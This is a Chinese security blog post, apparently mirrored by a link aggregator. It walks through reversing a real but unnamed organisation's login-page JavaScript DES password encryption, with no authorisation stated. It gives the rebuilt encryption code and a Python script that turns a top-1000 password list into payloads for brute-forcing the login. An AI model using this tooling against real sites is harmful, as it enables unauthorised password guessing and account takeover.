3

记一次JS逆向密码加密

 1 year ago
source link: https://5ime.cn/js-re-crypto.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
记一次JS逆向密码加密

记一次JS逆向密码加密

今天漫游某单位资产的时候,发现了一个站点,反手 admin/admin 测一下,提示 密码不正确,输入 admin1/admin1 提示 用户不存在 ,同时 验证码 还可以重复使用,这不得 top1000 跑一下

image-20230210141241348

F12 查看一下网络请求,发现验证码被添加到了 Cookie 里面,但既然可以复用,我们就不管了,其次 载荷 里的数据被加密了

userName: QEAqMWFkbWluaG5zaA==
password: QEAqMTk2ZjFhNjZiNjBkZjI1YWVobnNo

根据多年CTF经验,直接 Base64 解码

userName: @@*1adminhnsh
password: @@*196f1a66b60df25aehnsh

观察数据发现头尾的 @@*1hnsh 是固定的,同时用户名未经过加密直接是 admin,密码经过了加密处理,我们点击启动器看看调用堆栈

image-20230210142153313

点击后会自定跳转到相应的代码片段,我们看到通过 ajax 发送了一个 POST 请求,url/login.do,参数来自 JsonData

var JsonData = { login: encodeString(login), pwd: encodeString(afterEncrypt), code: code };

其中 pwd 参数通过 encryptByDES() 处理了一下

var afterEncrypt = encryptByDES(pwd);

我们给 afterEncryptJsonData 打上断点

image-20230210142256262

我们再次点击提交数据,发现已经在预定的位置断点成功了,我们点击进入 下一个函数调用 去查看一下 encryptByDES() (直接全局搜索 encryptByDES 也可以 )

image-20230210143025884

我们看到了关键代码

var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";

function encryptByDES(content) {
var key=define;
key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
var keyHex = CryptoJS.enc.Utf8.parse(key);
var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
iv: ivHex,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString();
}

然后我们一直点击 跳过下一个函数调用 即可,最后发现 JsonData 已经被正确赋值了

image-20230210143116843

encryptByDES() 调用了 crypto-js 库扣取代码过程有点繁杂,我们直接使用 NodeJS 中转一下,直接使用 npm install crypto-js,在代码中引用即可,然后粘贴我们抠出来的代码,同时改一下 return,加上固定的头尾

const CryptoJS = require('crypto-js');

var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";

function encryptByDES(content) {
var key=define;
key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
var keyHex = CryptoJS.enc.Utf8.parse(key);
var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
iv: ivHex,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return strPre + encrypted.ciphertext.toString() + strSuf;
}

其实直接使用 NodeJS 也行,但是感觉还是 Python 方便点,正好学一下 execjs 的使用,记得先对照一下自己写的代码加密数据是否和网站加密的数据一致

import execjs
import base64

def encryptByDES(content):
js_code = open("enc.js").read()
ctx = execjs.compile(js_code)
return ctx.call("encryptByDES", content)

if __name__ == '__main__':
with open("top1000.txt", "r") as f:
for line in f:
a = encryptByDES(line).encode("utf-8")
b = base64.b64encode(a).decode("utf-8")
with open("pass.txt", "a") as f:
f.write(b + "\n")

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK